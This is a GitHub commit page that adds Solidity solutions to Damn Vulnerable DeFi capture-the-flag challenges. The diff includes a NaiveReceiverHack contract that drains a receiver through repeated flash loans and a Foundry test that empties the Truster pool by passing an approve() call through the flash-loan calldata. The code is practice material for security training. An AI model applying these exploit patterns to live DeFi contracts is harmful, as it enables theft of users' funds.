-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
146 additions
and
6 deletions.
There are no files selected for viewing
15 changes: 15 additions & 0 deletions
15
contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; | ||
|
||
/** | ||
* @title DamnValuableToken | ||
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) | ||
*/ | ||
|
||
contract DamnValuableToken is ERC20 { | ||
constructor() ERC20("DamnValuableToken", "DVT") { | ||
_mint(msg.sender, type(uint256).max); | ||
} | ||
} |
23 changes: 23 additions & 0 deletions
23
contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
interface IPool { | ||
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool); | ||
} | ||
|
||
contract NaiveReceiverHack { | ||
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; | ||
IPool pool; | ||
address receiver; | ||
|
||
constructor(address _pool, address _receiver) { | ||
pool = IPool(_pool); | ||
receiver = _receiver; | ||
} | ||
|
||
function attack() public { | ||
for (uint256 i = 0; i < 10; i++) { | ||
pool.flashLoan(receiver, ETH, 0, "0x"); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import { Test } from "forge-std/Test.sol"; | ||
import { Vm } from "forge-std/Vm.sol"; | ||
import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; | ||
import { TrusterLenderPool } from "@contracts/CTF/Damn-Vulnerable-DeFi/03.Truster/TrusterLenderPool.sol"; | ||
|
||
/* | ||
https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ | ||
forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol -vvvvv | ||
*/ | ||
|
||
contract Truster_03_Test is Test { | ||
// hacking attack address | ||
address private deployer = address(1); | ||
address private feeRecipient = address(2); | ||
address private player = address(2333); | ||
|
||
TrusterLenderPool private pool; | ||
DamnValuableToken private token; | ||
uint256 TOKENS_IN_POOL = 1_000_000 ether; | ||
|
||
function setUp() public { | ||
vm.startPrank(deployer); | ||
vm.deal(deployer, type(uint256).max); | ||
_before(); | ||
vm.stopPrank(); | ||
|
||
vm.startPrank(player); | ||
} | ||
|
||
function _before() public { | ||
/* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ | ||
token = new DamnValuableToken(); | ||
pool = new TrusterLenderPool(token); | ||
token.transfer(address(pool), TOKENS_IN_POOL); | ||
assertEq(pool.token().balanceOf(address(pool)), TOKENS_IN_POOL, ""); | ||
} | ||
|
||
function test_Exploit() public { | ||
/* START CODE YOUR SOLUTION HERE */ | ||
|
||
// cast abi-encode "approve(address,uint256)" 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 1 | ||
bytes memory _callData = abi.encodeWithSignature("approve(address,uint256)", player, TOKENS_IN_POOL); | ||
pool.flashLoan(0, player, address(token), _callData); | ||
token.transferFrom(address(pool), player, TOKENS_IN_POOL); | ||
|
||
/* END CODE YOUR SOLUTION */ | ||
vm.stopPrank(); | ||
_after(); | ||
} | ||
|
||
function _after() public { | ||
/* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ | ||
|
||
// It is no longer possible to execute flash loans | ||
vm.startPrank(deployer); | ||
assertEq(token.balanceOf(player), TOKENS_IN_POOL, "player"); | ||
assertEq(token.balanceOf(address(pool)), 0, "pool"); | ||
vm.stopPrank(); | ||
} | ||
} |